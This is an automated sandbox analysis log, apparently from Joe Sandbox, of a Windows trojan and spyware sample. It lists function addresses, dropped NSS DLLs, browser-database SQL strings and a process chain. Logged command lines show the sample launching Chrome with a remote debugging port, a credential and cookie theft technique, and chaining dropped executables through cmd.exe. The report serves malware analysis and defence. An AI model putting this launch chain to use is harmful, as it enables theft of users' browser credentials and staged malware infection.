Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EC650	0_2_6C6EC650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EE6E0	0_2_6C6EE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72E6E0	0_2_6C72E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B46D0	0_2_6C6B46D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C710700	0_2_6C710700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BA7D0	0_2_6C6BA7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DE070	0_2_6C6DE070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C758010	0_2_6C758010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75C000	0_2_6C75C000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76C0B0	0_2_6C76C0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A00B0	0_2_6C6A00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C688090	0_2_6C688090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F8140	0_2_6C6F8140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C706130	0_2_6C706130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C774130	0_2_6C774130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6901E0	0_2_6C6901E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C718260	0_2_6C718260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C728250	0_2_6C728250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8162C0	0_2_6C8162C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C768220	0_2_6C768220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75A210	0_2_6C75A210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75E2B0	0_2_6C75E2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7622A0	0_2_6C7622A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AA2B0	0_2_6C6AA2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C726370	0_2_6C726370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D2370	0_2_6C7D2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C692370	0_2_6C692370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7AC360	0_2_6C7AC360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698340	0_2_6C698340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C702320	0_2_6C702320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E43E0	0_2_6C6E43E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C23A0	0_2_6C6C23A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EE3B0	0_2_6C6EE3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693C40	0_2_6C693C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B9C40	0_2_6C7B9C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A1C30	0_2_6C6A1C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C751CE0	0_2_6C751CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CDCD0	0_2_6C7CDCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72FC80	0_2_6C72FC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F3D00	0_2_6C6F3D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C761DC0	0_2_6C761DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C683D80	0_2_6C683D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D9D90	0_2_6C7D9D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7EBE70	0_2_6C7EBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C79DE10	0_2_6C79DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B3EC0	0_2_6C6B3EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C815E60	0_2_6C815E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C813FC0	0_2_6C813FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C5F20	0_2_6C6C5F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C685F30	0_2_6C685F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7E7F20	0_2_6C7E7F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73BFF0	0_2_6C73BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7ADFC0	0_2_6C7ADFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B1F90	0_2_6C6B1F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6ED810	0_2_6C6ED810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76F8F0	0_2_6C76F8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69D8E0	0_2_6C69D8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C38E0	0_2_6C6C38E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7EB8F0	0_2_6C7EB8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72F8C0	0_2_6C72F8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70F960	0_2_6C70F960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74D960	0_2_6C74D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C745920	0_2_6C745920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DF900	0_2_6C7DF900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7279F0	0_2_6C7279F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F59F0	0_2_6C6F59F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7299C0	0_2_6C7299C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C99D0	0_2_6C6C99D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C761990	0_2_6C761990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A1980	0_2_6C6A1980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78DA30	0_2_6C78DA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C731A10	0_2_6C731A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CFA10	0_2_6C6CFA10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C691AE0	0_2_6C691AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76DAB0	0_2_6C76DAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C819A50	0_2_6C819A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76FB60	0_2_6C76FB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DBB20	0_2_6C6DBB20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D7BF0	0_2_6C6D7BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6ABBD4	0_2_6C6ABBD4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C759BB0	0_2_6C759BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E9BA0	0_2_6C6E9BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C775B90	0_2_6C775B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C681B80	0_2_6C681B80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8114A0	0_2_6C8114A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C779430	0_2_6C779430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71D410	0_2_6C71D410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6914E0	0_2_6C6914E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DF510	0_2_6C7DF510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F7500	0_2_6C6F7500
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A5510	0_2_6C6A5510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7155F0	0_2_6C7155F0
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Code function: 9_2_001D7049	9_2_001D7049
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Code function: 9_2_001D8860	9_2_001D8860
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Code function: 9_2_001D78BB	9_2_001D78BB
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Code function: 9_2_001D31A8	9_2_001D31A8
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Code function: 9_2_00194B30	9_2_00194B30
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Code function: 9_2_002A7B6E	9_2_002A7B6E
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Code function: 9_2_001D2D10	9_2_001D2D10
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Code function: 9_2_00194DE0	9_2_00194DE0
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Code function: 9_2_001C7F36	9_2_001C7F36
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Code function: 9_2_001D779B	9_2_001D779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00708860	10_2_00708860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00707049	10_2_00707049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_007078BB	10_2_007078BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_007031A8	10_2_007031A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_006C4B30	10_2_006C4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00702D10	10_2_00702D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_006C4DE0	10_2_006C4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_006F7F36	10_2_006F7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_0070779B	10_2_0070779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_006CE530	11_2_006CE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_006E6192	11_2_006E6192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00708860	11_2_00708860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_006C4B30	11_2_006C4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00702D10	11_2_00702D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_006C4DE0	11_2_006C4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_006E0E13	11_2_006E0E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00707049	11_2_00707049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_007031A8	11_2_007031A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_006E1602	11_2_006E1602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_0070779B	11_2_0070779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_007078BB	11_2_007078BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_006E3DF1	11_2_006E3DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_006F7F36	11_2_006F7F36

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6B3620 appears 97 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C7C9F30 appears 51 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C81D930 appears 58 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6B9B10 appears 105 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6EC5E0 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C81DAE0 appears 73 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C8109D0 appears 309 times
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Code function: String function: 001A80C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 006DD663 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 006DD64E appears 66 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 006D7A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 006D80C0 appears 263 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 006DDF80 appears 63 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 006F8E10 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 006DD942 appears 83 times

Source: file.exe, 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1979034646.000000006F282000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: flqmrefc ZLIB complexity 0.994863785091047

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@38/41@34/11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6F0300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6C6F0300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\MKHTY2KY.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7988:120:WilError_03

Source: C:\Users\user\DocumentsFIIIIJKFCA.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1964793841.000000001D4F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1973826839.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1964793841.000000001D4F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1973826839.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1964793841.000000001D4F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1973826839.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1964793841.000000001D4F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1973826839.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1964793841.000000001D4F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1973826839.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1964793841.000000001D4F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1973826839.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.1964793841.000000001D4F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1973826839.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1818441437.0000000001092000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1818044216.000000001D3F5000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2794533826.0000000005A34000.00000004.00000800.00020000.00000000.sdmp, ECGDAAFIIJDAAAAKFHID.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1964793841.000000001D4F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1973826839.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1964793841.000000001D4F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1973826839.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2336 --field-trial-handle=2284,i,4785218427255859789,13458864232779102908,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFIIIIJKFCA.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFIIIIJKFCA.exe "C:\Users\user\DocumentsFIIIIJKFCA.exe"
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe "C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe "C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe "C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe "C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe "C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe "C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe "C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe "C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFIIIIJKFCA.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2336 --field-trial-handle=2284,i,4785218427255859789,13458864232779102908,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFIIIIJKFCA.exe "C:\Users\user\DocumentsFIIIIJKFCA.exe"	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe "C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe "C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe "C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
